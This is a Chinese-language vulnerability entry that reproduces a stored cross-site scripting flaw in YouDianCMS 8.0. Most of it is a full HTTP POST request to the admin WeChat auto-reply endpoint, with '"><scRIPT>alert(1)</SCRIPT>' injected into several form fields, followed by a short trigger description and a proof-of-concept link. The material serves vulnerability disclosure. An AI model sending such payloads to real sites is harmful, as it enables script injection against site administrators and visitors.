YouDianCMS 8.0 Storeage XSS

一、漏洞简介

二、漏洞影响

YouDianCMS 8.0

三、复现过程

```
POST /index.php/Admin/wx/saveSubscribeReply
HTTP/1.1 Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/2010010
1 Firefox/56.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;
q=0.2
Referer: http://0-sec.org/index.php/Admin/Wx/subscribereply/l/en/random
/1560696407129
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------17443203555821
Content-Length: 2207
DNT: 1
Connection: close
Cookie: PHPSESSID=bkv171om25ji6a51t7dql010h2; youdianAdminLangSet=en; C
KFinder_Path=Files%3A%2F%3A1; CKFinder_Settings=TNNDS; youdianMenuTopID
=15

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="ReplyID"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="TypeID"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="a1"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821
 Content-Disposition: form-data; name="a2"

2 -----------------------------17443203555821 Content-Disposition: form
-data; name="a3"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="a4"
```

```
"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821
 Content-Disposition: form-data; name="a5"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="a6"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="musicfile"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="a11"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="a12"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="a13"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="a14"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="a15"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821
 Content-Disposition: form-data; name="a16"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="a7"

2 -----------------------------17443203555821 Content-Disposition: form
-data; name="a8"

2,大转盘 -----------------------------17443203555821 Content-Dispositio
n: form-data; name="a10"

-----------------------------17443203555821 Content-Disposition: form-d
ata; name="a9"

"><scRIPT>alert(1)</SCRIPT> -----------------------------17443203555821
 Content-Disposition: form-data; name="IsEnable"

1 -----------------------------17443203555821 Content-Disposition: form
-data; name="hash"

19b37a0a1054dfd209b9a17c704027f3_db90bddc24f4e98592b355e2cbbca612 -----
------------------------17443203555821--
```

该漏洞触发的位置在“微信平台”-“自动回复”-“跟踪自动回复”的“微信短信”中，最后点击保存触发。

四、参考链接

https://github.com/ReboOt68/youdiancms8.0-StoreageXSS-POC/issues/2